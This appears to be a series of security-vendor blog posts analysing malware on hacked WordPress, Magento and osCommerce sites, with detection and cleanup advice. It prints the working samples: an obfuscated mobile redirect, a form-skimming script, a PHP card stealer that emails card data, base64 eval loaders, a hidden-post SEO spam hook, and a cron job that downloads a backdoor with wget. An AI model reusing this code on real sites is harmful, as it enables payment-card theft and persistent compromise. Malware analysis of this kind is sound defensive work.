We recently found a website that was redirecting mobile users to a third-party site called chickenkiller&nbsp.com, after further investigation we found that the malware was actually injected into the database, the code was hex encoded to prevent users from being able to search for the domain in the malicious code.

The malware was stored in: wp_options -> FieldName: option_value -> ID: 3284 (this value may not be the same on every infection)

Here\'s a snippet of the code you may find on infected sites:

a:1:{s:7:"padding";s:1888:"</script><script>var _0x93d9=["\x77\x70\x6B\x6A","\x63\x6F\x6F\x6B\x69\x65","\x3D"
,"\x3B\x20\x70\x61\x74\x68\x3D\x2F","\x3B","\x73\x70\x6C\x69\x74","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67"
,"\x63\x68\x61\x72\x41\x74","\x20","\x69\x6E\x64\x65\x78\x4F\x66"];
if(!readCookie(_0x93d9[0])){createCookie(_0x93d9[0],_0x93d9[1],1);if(/iPhone|iPad|iPod/i[_0x93d9[1]]
(navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[4]}else {if(/Android/i[_0x93d9[1]](navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[5]}};};

This malware\'s obfuscation technique is not too complex, when deobfuscated, the most interesting part is the conditional redirect, which tells us that the malware had two different final URLs depending on which flavor of the mobile OS:

    if (!readCookie("wpkj") {
        createCookie("wpkj", "test", 1);
        if (/iPhone|iPad|iPod/i ["test"](navigator["userAgent"])) {
            window[location] = "http:// load-me.chickenkiller .com/5972"
        } else {
            if (/Android/i ["wpkj"](navigator["test"])) {
                window[location] = "http:// load-me.chickenkiller .com/596F"
            }
        };
    };

What we learn form this sample is that checking only your site\'s files for anomalies is not enough. Once an attack happens, the attacker can add malicious content to your site\'s database. It could be a backdoor or a malicious redirect for mobile phones.

In black hat SEO schemes, some links don't have to have descriptive anchor keywords. For example, if their only purpose is help search engine crawlers discover newly created doorways. But even in such cases, the links should be hidden from webmasters of the hacked sites where they are placed on.

Recently, our malware analyst 12 notified the labs about an increased number of cases of database spam infections where (mostly) pharma links were injected inside the legit blog posts. What's interesting about those infections is how hackers make the links invisible. In this case, they didn't add any invisible blocks, didn't add any additional text at all. They just made links out of some parts of existing blog content. Of course they realized that underlines and changing mouse would reveal that some words unexpectedly became clickable. To minimize the exposure, hackers 1). used the text-decoration:none style to get rid of underlines, 2). used the text parts with smallest footprints - periods at the end of sentences.

... some legitimate text<a style="text-decoration:none" href="/index.php?w=coversyl-online-bestellen-legal">.</a>

Such links are virtually invisible to human visitors and at the same time when search engines crawl the compromised sites, they discover links to spammy doorways (e.g http://infectedwebsite .com/index.php?w=coversyl-online-bestellen-legal in this particular case).

This trick is smart but it may only fool people who rely on visual web page inspection only. To security scanners like SiteCheck or Unmask Parasites such period-links are as visible as any other types of links so the infection gets easily detected.

To make malicious injections look less suspicious, hackers like to use domains that look credible. It may be some typo domain like google-analystisc[.]com instead of google-analytics.com, or correct domain names under a different TLDs, e.g.: ads.googleadservices[.]at or googleads.g.doubleclick[.]cn.com.

Sometimes they hide their scripts and iframes befind shortened URL. Other times they upload malicious content to public services like Pastebin.

This time we discovered a script injection that used site\'s alternative domain name provided by its host for free to their clients. In this case the malicious script was placed on a hacked site hosted on a Network Solutions\' server. So instead of using the real domain name, which could alert the webmaster of the hacked site when the domain gets blacklisted, hackers used its alternative 0055d7b.netsolhost[.]com address.

We found this code injected into multiple design/head/includes rows (different scopes) of the core_config_data table in the Magento database:

<script src="//0055d7b . netsolhost[.]com/Blog/lib2/js/js.js"> </script>

The script looks like coming from some Network Solutions CDN. However, it\'s a malicious script on a site where everything below /Blog was created by hackers (e.g. you can find a PHProxy script under Blog/lib2/ - the tool that hackers use to make anonymous requests to third-party sites, e.g. access backdoors). The js.js script itself adds extra handlers that intercept all data entered into all HTML forms on the infected Magento site and send them to a PHP script on the same Networks Solution server 0055d7b .netsolhost[.]com/Blog/lib2/js/main.php. Technically, the script is used to steal credit card and other sensitive payment details from order forms on e-commerce sites (although it can be used to steal credentials from login forms too).

Don\'t trust third-party content just because it uses a reputable domain name. Always doublecheck everything that you don\'t recognize or don\'t believe should be on your site. Test your database and files on server for integrity, and monitor your site for security issues.

We regularly detect malware that targets payment modules on compromised ecommerce websites, mainly on Magento.

Recently we’ve stumbled upon the same threat on osCommerce. The malicious code was found inside ./catalog/checkout_confirmation.php and used obfuscation as below:

…eval(gzinflate(str_rot13(base64_decode('Dc9UsqJAAADQ43x/sRAQFHdJ5ByUBoTNRxMaVg0i0dPPvBu8ZYXdqfrWGGhjLkIZ/JRK5mJE5lBEnn5Dd7qA3zbFyNbzI47VvBPpQ…wSmhNUk33O2C+uFKeOUAGdb8UyETzPEp1nvg7hIgQB5355jGg9LQuJGxB31rYoBLc7LHDv0hwC8L3ocO4KlLduNn6ntts7EmJ1z1lZuZ4tFt4U12paYTRI+dIKnefP7+/vn38='))));…

When decoded, the code appeared to be a credit card stealer. The code sends a copy of stolen credit card information to attacker’s email and saves it inside an image file for backup purposes. This happens every time customers submit their payment details during the checkout process:

$recipient = "<attacker’s-email-address>@gmail.com";$subject = "www.<compromised-site>.com";$mailheaders = "From: www.<compromised-site>.com <sales@ www.<compromised-site>.com >";$address4 = tep_address_format($order->billing['format_id'], $order->billing, 1, ' ', '<br>');$ip = getenv("REMOTE_ADDR");…$message .= "Name on card: ".$_POST['cc_owner']." CC: ".$_POST['cc_number']." Exp: ".$_POST['cc_expires_month']         ."/".$_POST['cc_expires_year']." CVV2: ".$_POST['cc_ccv']."n";…mail($recipient, $subject, $message, $mailheaders);$f = fopen('/<path to public directory>/catalog/images/oscommerce2.gif','a');fputs($f, $message . "n"); fclose($f);

If you're using osCommerce as ecommerce solution, always check your core files, especially ./catalog/checkout_confirmation.php for any modified content, and do regular scans. As always, if you need a professional service for your osCommerce website, you can count on our Website AntiVirus service.

Chinese replica spam campaigns aim for large number of doorways per infected site. And quite often their doorways are static, which means hundreds of thousands created .html files.

Last year the most popular approach was creating several directories with meaningless names with 10-30 thousand doorways in each. This year we began noticing a new modification that creates only one doorway file (content.php) per directory, but the number of such spammy directories may be staggering. For example, on a site that had been compromised for at least three months (it easy to tell as the directory names are time stamps such as 20160112123901 or 20160123165028), the hackers created over 200,000 such directories.

As you might imagine, not all shared hosts may properly manage such large numbers of files. In some cases, this leads to exceeding account inode quota. Even a simple ls command may become a problem. Here's the warning that you may see on a DreamHost server when you execute the ls command in a directrory with too many spammy subdirectories.

$ ls -l | wc -lYikes! One of your processes (ls, pid 21519) was just killed for excessive resource usage.Please contact DreamHost Support for details.208897

Don't wait until hackers cause serious problems. Add security monitoring and protection to your site.

A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS' with spammy content in subdirectories of legitimate sites.

A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.

But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here's an example of a WordPress malware that does just this:

The main idea is to register a new post status:

register_post_status( 'test', array(				'public'                    => true,				'exclude_from_search'       => true,				'show_in_admin_all_list'    => false,				'show_in_admin_status_list' => false		) );

The posts with this status are excluded from search results and from editing listings in the admin interface.

To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:

function feed_door(){		query_posts( 'post_status=test&showposts=20' );		require( ABSPATH . WPINC . '/feed-atom.php' );	}

In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme's functions.php file invoked the code:

<?php add_action('init', create_function('',     implode("n", array_map("base64_decode",    unserialize(get_option("wptheme_opt")))))); ?>

Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.

Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.

Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.

You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may be because you forgot to clean your crontab.

Here's an example of a malicious cron job that creates a backdoor file in the /wp-includes/Text/Diff/Engine directory every other day:

DOWNLOAD_URL="hxxp://cpanel .jawebsolutions .com/u/w.gz"LOCAL_FILE_PATH="/home/username/public_html/wp-includes/Text/Diff/Engine/i18n.php"1 3 */2 * * rm -f /var/tmp/w.gz ; wget -q -O /var/tmp/w.gz $DOWNLOAD_URL && gunzip -c /var/tmp/w.gz > $LOCAL_FILE_PATH && touch -c -t 201007151834 $LOCAL_FILE_PATH && rm -f /var/tmp/w.gz

So don't forget to check cron jobs in your hosting control panel or use the crontab -l command if you have SSH access.